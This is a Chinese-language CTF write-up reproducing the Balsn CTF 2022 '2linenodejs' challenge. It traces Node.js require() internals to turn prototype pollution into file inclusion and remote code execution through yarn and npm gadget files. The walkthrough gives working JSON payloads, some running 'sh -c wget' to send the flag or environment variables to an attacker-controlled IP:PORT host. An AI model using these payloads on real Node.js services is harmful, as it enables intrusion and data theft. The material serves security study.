Node.js require() RCE复现

前言

前阵子参加了Balsn CTF 2022,有道Node.js的题目叫2linenodejs,个人觉得思路十分巧妙,遂进行了完整的复现,收获颇多。下面是整个复现的过程。

题目代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// server.js
process.stdin.setEncoding('utf-8');
process.stdin.on('readable', () => {
try{
console.log('HTTP/1.1 200 OK\nContent-Type: text/html\nConnection: Close\n');
const json = process.stdin.read().match(/\?(.*?)\ /)?.[1],
obj = JSON.parse(json);
console.log(`JSON: ${json}, Object:`, require('./index')(obj, {}));
}catch{
require('./usage')
}finally{
process.exit();
}
});

// index.js
module.exports=(O,o) => (Object.entries(O).forEach(([K,V])=>Object.entries(V).forEach(([k,v])=>(o[K]=o[K]||{},o[K][k]=v))), o);

// usage.js
console.log('Validate your JSON with <a href="/?{}">query</a>');

在try block里面将输入的JSON字符串转换为JavaScript对象,再使用一个遍历将对象的属性逐一赋给另一个空对象,很明显这里存在原型链污染。

预期思路是在读取JSON是产生异常,然后进入catch执行require('./usage'),通过require()方法实现RCE。

至于如何产生异常,方法是在JSON里面加一个项值为null,这样在遍历时Object.entries(V)null,再调用forEach就会产生无法读取属性的异常。

require()任意文件包含执行

使用WebStorm对源码进行调试,在catch处下断点,然后传入输入:?{"a":null} ,使用Force Step Into(快捷键Alt+Shift+F7)即可跳转到require()的源码继续调试:

最终定位到Module._load方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
Module._load = function(request, parent, isMain) {
let relResolveCacheIdentifier;
if (parent) {
debug('Module._load REQUEST %s parent: %s', request, parent.id);
// Fast path for (lazy loaded) modules in the same directory. The indirect
// caching is required to allow cache invalidation without changing the old
// cache key names.
relResolveCacheIdentifier = `${parent.path}\x00${request}`;
const filename = relativeResolveCache[relResolveCacheIdentifier];
if (filename !== undefined) {
const cachedModule = Module._cache[filename];
if (cachedModule !== undefined) {
updateChildren(parent, cachedModule, true);
if (!cachedModule.loaded)
return getExportsForCircularRequire(cachedModule);
return cachedModule.exports;
}
delete relativeResolveCache[relResolveCacheIdentifier];
}
}

if (StringPrototypeStartsWith(request, 'node:')) {
// Slice 'node:' prefix
const id = StringPrototypeSlice(request, 5);

const module = loadBuiltinModule(id, request);
if (!module?.canBeRequiredByUsers) {
throw new ERR_UNKNOWN_BUILTIN_MODULE(request);
}

return module.exports;
}

const filename = Module._resolveFilename(request, parent, isMain);

request参数是可控的,其他两个均为写死的参数。因此第一个if无法控制直接跳过,第二个if判断要require的文件是不是Node内建模块,这里显然也不是,跳过。

下一步进入Module._resolveFilename(request, parent, isMain)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
Module._resolveFilename = function(request, parent, isMain, options) {
if (
(
StringPrototypeStartsWith(request, 'node:') &&
BuiltinModule.canBeRequiredByUsers(StringPrototypeSlice(request, 5))
) || (
BuiltinModule.canBeRequiredByUsers(request) &&
BuiltinModule.canBeRequiredWithoutScheme(request)
)
) {
return request;
}

let paths;

if (typeof options === 'object' && options !== null) {
......
}

if (request[0] === '#' && (parent?.filename || parent?.id === '<repl>')) {
......
}

// Try module self resolution first
const parentPath = trySelfParentPath(parent);
const selfResolved = trySelf(parentPath, request);
if (selfResolved) {
const cacheKey = request + '\x00' +
(paths.length === 1 ? paths[0] : ArrayPrototypeJoin(paths, '\x00'));
Module._pathCache[cacheKey] = selfResolved;
return selfResolved;
}

第一个if同样是判断内建模块的包含条件,跳过;第二个if检查options,调用的时候根本没传所以是undefined,跳过;第三个检查包含的文件名是不是以#开头,也不符合,跳过。

trySelf中发现原型链污染

随后是两个方法trySelfParentPathtrySelf

第一个方法参数不可控,返回的是调用require()方法的父模块路径,于是继续看第二个方法。

1
2
3
4
5
6
7
function trySelf(parentPath, request) {
if (!parentPath) return false;

const { data: pkg, path: pkgPath } = readPackageScope(parentPath) || {};

......
}

首先是readPackageScope()函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
function readPackageScope(checkPath) {
const rootSeparatorIndex = StringPrototypeIndexOf(checkPath, sep);
let separatorIndex;
do {
separatorIndex = StringPrototypeLastIndexOf(checkPath, sep);
checkPath = StringPrototypeSlice(checkPath, 0, separatorIndex);
if (StringPrototypeEndsWith(checkPath, sep + 'node_modules'))
return false;
const pjson = readPackage(checkPath + sep);
if (pjson) return {
data: pjson,
path: checkPath,
};
} while (separatorIndex > rootSeparatorIndex);
return false;
}

function readPackage(requestPath) {
const jsonPath = path.resolve(requestPath, 'package.json');

const existing = packageJsonCache.get(jsonPath);
if (existing !== undefined) return existing;

const result = packageJsonReader.read(jsonPath);
const json = result.containsKeys === false ? '{}' : result.string;
if (json === undefined) {
packageJsonCache.set(jsonPath, false);
return false;
}

try {
const filtered = filterOwnProperties(JSONParse(json), [
'name',
'main',
'exports',
'imports',
'type',
]);
packageJsonCache.set(jsonPath, filtered);
return filtered;
} catch (e) {
e.path = jsonPath;
e.message = 'Error parsing ' + jsonPath + ': ' + e.message;
throw e;
}
}

函数会逐级检查脚本所在目录,如果有读取到最后一级目录名称为node_modules说明读取到了当前包的根目录,直接返回false;之后调用readPackage()函数会读取当前目录下的package.json文件,进行一定处理后返回。

此处目录下没有package.json,因此readPackageScope()函数会返回false。意味着对象{data: pkg, path: pkgPath}被赋值为空对象,很容易发现此处产生了原型链污染的可能性。

继续看下面的判断:

1
2
3
4
5
6
7
8
9
10
11
if (!pkg || pkg.exports === undefined) return false;
if (typeof pkg.name !== 'string') return false;

let expansion;
if (request === pkg.name) {
expansion = '.';
} else if (StringPrototypeStartsWith(request, `${pkg.name}/`)) {
expansion = '.' + StringPrototypeSlice(request, pkg.name.length);
} else {
return false;
}

这段判断要求:

  • pkg是个对象,得有exportsname两个属性
  • exports不能是undefined
  • name必须是个字符串
  • name要么与要包含的文件名相同,要么与文件名的起始部分相同

尝试构造JSON,即可通过if继续向下:

1
2
{"__proto__":{"data":{"name":"./usage","exports":""},"path":""},"a":null}
{"__proto__":{"data":{"name":".","exports":""},"path":""},"a":null}

最后是一段try block:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
try {
return finalizeEsmResolution(
packageExportsResolve(
pathToFileURL(pkgPath + '/package.json'),
expansion,
pkg,
pathToFileURL(parentPath),
cjsConditions
), parentPath, pkgPath
);
} catch (e) {
if (e.code === 'ERR_MODULE_NOT_FOUND')
throw createEsmNotFoundErr(request, pkgPath + '/package.json');
throw e;
}

pathToFileURL()顾名思义,将路径转换为file://URL对象,仅做了字符串处理的操作,没发现什么可以操作的地方。于是进入packageExportsResolve()

packageExportsResolve

1
2
3
4
5
6
7
8
9
10
11
12
13
function packageExportsResolve(
packageJSONUrl, packageSubpath, packageConfig, base, conditions) {
let exports = packageConfig.exports;
if (isConditionalExportsMainSugar(exports, packageJSONUrl, base))
exports = { '.': exports };

if (ObjectPrototypeHasOwnProperty(exports, packageSubpath) &&
!StringPrototypeIncludes(packageSubpath, '*') &&
!StringPrototypeEndsWith(packageSubpath, '/')) {
const target = exports[packageSubpath];
const resolveResult = resolvePackageTarget(
packageJSONUrl, target, '', packageSubpath, base, false, false, conditions
);

根据函数逻辑,可以大概推断出resolvePackageTarget()进行了具体的包解析操作,除去开头这个if里面调用了,在函数的最末尾也进行了调用。

进入第一个resolvePackageTarget

函数第一个条件是isConditionalExportsMainSugar()函数,会对exports属性进行处理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function isConditionalExportsMainSugar(exports, packageJSONUrl, base) {
if (typeof exports === 'string' || ArrayIsArray(exports)) return true;
if (typeof exports !== 'object' || exports === null) return false;

const keys = ObjectGetOwnPropertyNames(exports);
let isConditionalSugar = false;
let i = 0;
for (let j = 0; j < keys.length; j++) {
const key = keys[j];
const curIsConditionalSugar = key === '' || key[0] !== '.';
if (i++ === 0) {
isConditionalSugar = curIsConditionalSugar;
} else if (isConditionalSugar !== curIsConditionalSugar) {
throw new ERR_INVALID_PACKAGE_CONFIG(
fileURLToPath(packageJSONUrl), base,
'"exports" cannot contain some keys starting with \'.\' and some not.' +
' The exports object must either be an object of package subpath keys' +
' or an object of main entry condition name keys only.');
}
}
return isConditionalSugar;
}
  • 如果exports是个对象,且所有属性名都不满足key === '' || key[0] !== '.'条件(所有属性名都以.开头),或者exportsnull,函数返回falseexports保持原样
  • 如果exports是字符串或者数组,或者exports是个对象且所有属性名都满足key === '' || key[0] !== '.'条件,函数返回true,此时为exports添加了一层.属性

总而言之,经过了这个判断后,exports对象最终的所有属性名一定是以.开头或就是.

接下来判断ObjectPrototypeHasOwnProperty(exports, packageSubpath),检查exports里面有没有名为packageSubpath的属性。而packageSubpath就是前一层调用的expansion变量。所以根据前面构造的JSON,也可以分为两种情况:

  • name与要包含的文件名相同,此时expansion.,此时exports无论怎么样都可以满足条件
  • name.,此时expansion./usage,此时exports必须自己构造:{"./usage":"data"}

综上,Payload修改为以下:

1
2
{"__proto__":{"data":{"name":"./usage","exports":"any"},"path":""},"a":null}
{"__proto__":{"data":{"name":".","exports":{"./usage":"any"}},"path":""},"a":null}

进入第二个resolvePackageTarget

判断ObjectPrototypeHasOwnProperty(exports, packageSubpath)若为false,便会跳到函数的后半部分。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
let bestMatch = '';
let bestMatchSubpath;
const keys = ObjectGetOwnPropertyNames(exports);
for (let i = 0; i < keys.length; i++) {
const key = keys[i];
const patternIndex = StringPrototypeIndexOf(key, '*');
if (patternIndex !== -1 &&
StringPrototypeStartsWith(packageSubpath,
StringPrototypeSlice(key, 0, patternIndex))) {
if (StringPrototypeEndsWith(packageSubpath, '/'))
emitTrailingSlashPatternDeprecation(packageSubpath, packageJSONUrl,
base);
const patternTrailer = StringPrototypeSlice(key, patternIndex + 1);
if (packageSubpath.length >= key.length &&
StringPrototypeEndsWith(packageSubpath, patternTrailer) &&
patternKeyCompare(bestMatch, key) === 1 &&
StringPrototypeLastIndexOf(key, '*') === patternIndex) {
bestMatch = key;
bestMatchSubpath = StringPrototypeSlice(
packageSubpath, patternIndex,
packageSubpath.length - patternTrailer.length);
}
}
}

if (bestMatch) {
const target = exports[bestMatch];
const resolveResult = resolvePackageTarget(
packageJSONUrl,
target,
bestMatchSubpath,
bestMatch,
base,
true,
false,
conditions);
......

根据判断条件,exports的属性名需要包含*字符,且*字符前面的字符串必须和expansion的开头一致。据此可以构造以下exports

  • "data":{"name":"./usage","exports":{".*":"any"}}, expansion="."
  • "data":{"name":".","exports":{"./*":"any"}}, expansion="./usage"

但是继续看下面的条件packageSubpath.length >= key.length,就可以发现第一个构造没法满足,因为这种情况下key最短只能是.*,去掉任何一个字符都会导致前面的判断没法通过,因此长度还是比expansion更大。因此只剩第二个能够通过:

调用:

于是进入resolvePackageTarget()函数。如果按照上面的Payload,显然直接进入第一个判断,调用resolvePackageTargetString()函数。而如果exports是传入的数组,那么则会进入下面一个判断,递归继续对数组每一个元素调用resolvePackageTarget(),最终还是进入调用resolvePackageTargetString()函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
function resolvePackageTarget(packageJSONUrl, target, subpath, packageSubpath,
base, pattern, internal, conditions) {
if (typeof target === 'string') {
return resolvePackageTargetString(
target, subpath, packageSubpath, packageJSONUrl, base, pattern, internal,
conditions);
} else if (ArrayIsArray(target)) {
if (target.length === 0) {
return null;
}
// Recursive call
}
......

resolvePackageTargetString

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
function resolvePackageTargetString(
target, subpath, match, packageJSONUrl, base, pattern, internal, conditions) {

if (subpath !== '' && !pattern && target[target.length - 1] !== '/')
throwInvalidPackageTarget(match, target, packageJSONUrl, internal, base);

if (!StringPrototypeStartsWith(target, './')) {
if (internal && !StringPrototypeStartsWith(target, '../') &&
!StringPrototypeStartsWith(target, '/')) {
let isURL = false;
try {
new URL(target);
isURL = true;
} catch {
// Continue regardless of error.
}
if (!isURL) {
const exportTarget = pattern ?
RegExpPrototypeSymbolReplace(patternRegEx, target, () => subpath) :
target + subpath;
return packageResolve(
exportTarget, packageJSONUrl, conditions);
}
}
throwInvalidPackageTarget(match, target, packageJSONUrl, internal, base);
}

if (RegExpPrototypeExec(invalidSegmentRegEx, StringPrototypeSlice(target, 2)) !== null)
throwInvalidPackageTarget(match, target, packageJSONUrl, internal, base);

const resolved = new URL(target, packageJSONUrl);
const resolvedPath = resolved.pathname;
const packagePath = new URL('.', packageJSONUrl).pathname;

if (!StringPrototypeStartsWith(resolvedPath, packagePath))
throwInvalidPackageTarget(match, target, packageJSONUrl, internal, base);

if (subpath === '') return resolved;

if (RegExpPrototypeExec(invalidSegmentRegEx, subpath) !== null) {
const request = pattern ?
StringPrototypeReplace(match, '*', () => subpath) : match + subpath;
throwInvalidSubpath(request, packageJSONUrl, internal, base);
}

if (pattern) {
return new URL(
RegExpPrototypeSymbolReplace(
patternRegEx,
resolved.href,
() => subpath
)
);
}

return new URL(subpath, resolved);
}

首先前两个判断都不会进入(第一个判断中subpath !== ''!pattern不会同时满足,第二个判断中传进来的internal始终是false),然后是一个正则匹配(表达式太长了懒得看),正常的路径和文件名应该也不会匹配。

接下来就会将传入JSON中的pathexports代入最终包含的文件URL中。target对应exports中的文件名,packageJSONUrl对应文件所在路径(路径+package.json),最终返回URL对象。

如Payload:{"proto":{"data":{"name":".","exports":{"./*":"./include.js"}},"path":"/home/dingzhen/Desktop/2linenodejs/src"},"a":null}

解析结果:

最终顺利包含执行文件(题目环境里无回显):

Payload总结

1
2
3
4
{"__proto__":{"data":{"name":".","exports":{"./*":"./evil.js"}},"path":"/path/to/evil"},"a":null}
{"__proto__":{"data":{"name":".","exports":{"./usage":"./evil.js"}},"path":"/path/to/evil"},"a":null}
{"__proto__":{"data":{"name":"./usage","exports":["./evil.js"]},"path":"/path/to/evil"},"a":null}
{"__proto__":{"data":{"name":"./usage","exports":"./evil.js"},"path":"/path/to/evil"},"a":null}

寻找RCE Gadget

找到了本地文件包含之后,需要在本地搜索能够通过污染来触发RCE的JS文件。题目里的docker镜像为node:18.8.0-alpine3.16,使用下面的命令可以搜索包含了child_process的JS文件:

1
2
3
4
# For GNU grep
grep -rnw --include="*.js" "child_process" / 2>/dev/null
# For BusyBox grep which does not support "--include" argument
find / -name "*.js" -exec grep -H "child_process" {} \; 2>/dev/null

搜索到如下文件:

  • /usr/local/lib/node_modules/npm/node_modules/builtins/index.js
  • /usr/local/lib/node_modules/npm/node_modules/@npmcli/promise-spawn/lib/index.js
  • /usr/local/lib/node_modules/npm/node_modules/node-gyp/lib/util.js
  • /usr/local/lib/node_modules/npm/node_modules/node-gyp/lib/find-visualstudio.js
  • /usr/local/lib/node_modules/npm/node_modules/node-gyp/lib/node-gyp.js
  • /usr/local/lib/node_modules/npm/node_modules/node-gyp/lib/find-python.js
  • /usr/local/lib/node_modules/npm/node_modules/opener/lib/opener.js
  • /usr/local/lib/node_modules/npm/lib/commands/config.js
  • /usr/local/lib/node_modules/npm/lib/commands/edit.js
  • /usr/local/lib/node_modules/npm/lib/commands/help.js
  • /opt/yarn-v1.22.19/lib/cli.js
  • /opt/yarn-v1.22.19/preinstall.js

逐一检查,寻找调用点,过滤无用的文件,得到以下Gadget。

preinstall.js

完整路径是/opt/yarn-v1.22.19/preinstall.js。这应该是最简单的一个了,首先这个文件不引用其他的第三方模块,可以独立运行,其次污染参数也相对容易。可以查到这个文件的Github提交记录:https://github.com/yarnpkg/yarn/pull/8343

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if (process.env.npm_config_global) {
var cp = require('child_process');
var fs = require('fs');
var path = require('path');

try {
var targetPath = cp.execFileSync(process.execPath, [process.env.npm_execpath, 'bin', '-g'], {
encoding: 'utf8',
stdio: ['ignore', undefined, 'ignore'],
}).replace(/\n/g, '');

......
} catch (err) {
// ignore errors
}
}

首先,process.env.npm_config_global初始为undefined,直接污染为1即可进入条件。接下来就是调用execFileSync来执行命令,process.execPath为当前node可执行文件的绝对路径,这个不可控,但是process.env.npm_execpath同样可以被污染,此时借助node--eval/-e参数就可以执行任意JS代码。

e, -eval “script”

Evaluate the following argument as JavaScript. The modules which are predefined in the REPL can also be used in script.

On Windows, using cmd.exe a single quote will not work correctly because it only recognizes double " for quoting. In Powershell or Git bash, both ' and " are usable.

Payload:

1
2
3
4
5
6
7
8
9
10
11
12
{
"__proto__": {
"data": {
"name": "./usage",
"exports": "./preinstall.js"
},
"path": "/opt/yarn-v1.22.19",
"npm_config_global": 1,
"npm_execpath": "--eval=require('child_process').execFile('sh',['-c','wget\thttp://IP:PORT/`/readflag`'])"
},
"a": null
}

除此之外,还可以使用-r/--require参数来包含环境变量,再污染process.env添加一个新环境变量包含代码来实现RCE。(此方法可能受其他环境变量中特殊字符干扰,不一定成功)

Payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
"__proto__": {
"data": {
"name": "./usage",
"exports": "./preinstall.js"
},
"path": "/opt/yarn-v1.22.19/",
"npm_config_global": 1,
"npm_execpath": "--require=/proc/self/environ",
"env": {
"A": "require('child_process').execFile('sh',['-c','wget\thttp://IP:PORT/`env`']);//"
}
},
"a":null
}

opener-bin.js

完整路径是/usr/local/lib/node_modules/npm/node_modules/opener/bin/opener-bin.js。

1
2
3
4
5
6
7
8
9
10
#!/usr/bin/env node
"use strict";

var opener = require("..");

opener(process.argv.slice(2), function (error) {
if (error) {
throw error;
}
});

这个文件是/usr/local/lib/node_modules/npm/node_modules/opener/lib/opener.js的唯一调用者。因为opener.js只导出了一个函数,直接包含没法执行。代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
"use strict";
var childProcess = require("child_process");
var os = require("os");

module.exports = function opener(args, options, callback) {
var platform = process.platform;

if (platform === "linux" && os.release().indexOf("Microsoft") !== -1) {
platform = "win32";
}

var command;
switch (platform) {
case "win32": {
command = "cmd.exe";
break;
}
case "darwin": {
command = "open";
break;
}
default: {
command = "xdg-open";
break;
}
}

if (typeof args === "string") {
args = [args];
}

if (typeof options === "function") {
callback = options;
options = {};
}

if (options && typeof options === "object" && options.command) {
if (platform === "win32") {
args = [options.command].concat(args);
} else {
command = options.command;
}
}

if (platform === "win32") {
args = args.map(function (value) {
return value.replace(/[&^]/g, "^$&");
});
args = ["/c", "start", "\"\""].concat(args);
}

return childProcess.execFile(command, args, options, callback);
};

注意到if (typeof options === "function")判断中将options赋值为空对象,在调用的时候,传入的options也确实是一个function,所以这个判断是一定会进入的。而下一个判断里面又取了options.command作为最终要执行的文件,也就说明这个command可以被污染。

接下来看命令执行的参数。process.argv默认为node的执行参数,一般是node <当前执行的JS文件>(如下图),因此process.argv.slice(2)相当于空数组,且无法被污染。

但是无回显RCE需要带出命令输出,单控制一个可执行文件无法控制参数显然无法达到目的。

直到看见另一个大佬写的EXP,恍然大悟,只能说思路太巧妙了:

他污染了一个名为contextExtensions的变量,一开始我还一头雾水,搜了一下发现这个变量是vm.compileFunction()方法中options参数中的一个属性:

污染contextExtensions注入变量的原理

首先需要知道vm模块是干啥的。下面是官方的说明,这个模块是用于在V8虚拟机中直接编译和执行JS代码的:

The node:vm module enables compiling and running code within V8 Virtual Machine contexts.

The node:vm module is not a security mechanism. Do not use it to run untrusted code.

vm.compileFunction()方法用于将字符串形式的JS代码编译成一个Function对象。而contextExtensions可以在函数执行的上下文中添加额外的对象,相当于是对函数上下文的扩展。函数执行时调用到的对象值,若在contextExtensions中存在,则以contextExtensions中提供的值为准。

基于这个特性,再加上任何模块被require()包含执行JS代码的时候都会触发下面这个调用链,也就说明了VM上下文注入变量的可行性:

require()Module.require()Module._load()Module.load()Module._compile()

接下来是分析。首先看Module.load()的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Module.prototype.load = function(filename) {
debug('load %j for module %j', filename, this.id);

assert(!this.loaded);
this.filename = filename;
this.paths = Module._nodeModulePaths(path.dirname(filename));

const extension = findLongestRegisteredExtension(filename);
// allow .mjs to be overridden
if (StringPrototypeEndsWith(filename, '.mjs') && !Module._extensions['.mjs'])
throw new ERR_REQUIRE_ESM(filename, true);

Module._extensions[extension](this, filename);
this.loaded = true;

findLongestRegisteredExtension()是判断文件类型的函数,判断逻辑是只要文件后缀不在Module._extensions中则归为JS文件,否则直接返回对应类型。而Module._extensions中只有以下三种文件类型:

所以只要包含的文件不是.json.node后缀,都会进入Module._extensions['.js']()这个函数。这个函数的尾部调用了Module._compile()

1
2
3
4
5
6
7
8
9
10
11
Module.prototype._compile = function(content, filename) {
let moduleURL;
let redirects;
if (policy?.manifest) {
moduleURL = pathToFileURL(filename);
redirects = policy.manifest.getDependencyMapper(moduleURL);
policy.manifest.assertIntegrity(moduleURL, content);
}

maybeCacheSourceMap(filename, content, this);
const compiledWrapper = wrapSafe(filename, content, this);

进入wrapSafe()函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
function wrapSafe(filename, content, cjsModuleInstance) {
if (patched) {
const wrapper = Module.wrap(content);
return vm.runInThisContext(wrapper, {
......
},
});
}
try {
return vm.compileFunction(content, [
'exports',
'require',
'module',
'__filename',
'__dirname',
], {
filename,
importModuleDynamically(specifier, _, importAssertions) {
const loader = asyncESM.esmLoader;
return loader.import(specifier, normalizeReferrerURL(filename),
importAssertions);
},
});
} catch (err) {
if (process.mainModule === cjsModuleInstance)
enrichCJSError(err, content);
throw err;
}
}

第一个条件判断,patched在文件开头默认赋值为false,故不会进入;于是后面调用vm.compileFunction()编译代码,contextExtensions就是在此处被污染的。

下图是WebStorm中展示的整个调用栈:

注入上下文变量 控制命令执行参数

理解了原理之后,下面就可以构造JSON来注入变量。根据Node.js文档的描述,contextExtensions是个Object数组,因此只需要往数组里再赋值一个process.argv,当函数执行时,对应的process.argv就会变成被注入的值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{
"__proto__": {
"data": {
"name": "./usage",
"exports": "./opener-bin.js"
},
"path": "./",
"command": "wget",
"contextExtensions": [{
"process": {
"argv": ["","","http://IP:PORT/a"]
}
}]
},
"a": null
}

调试进入opener-bin.js,发现变量process.argv确实已经被覆盖了:

接下来进入opener调用,对应执行的命令就是wget http://IP:PORT/a(因为取了sliceargv前两个项应该置空,真实参数从第三项开始)

参考资料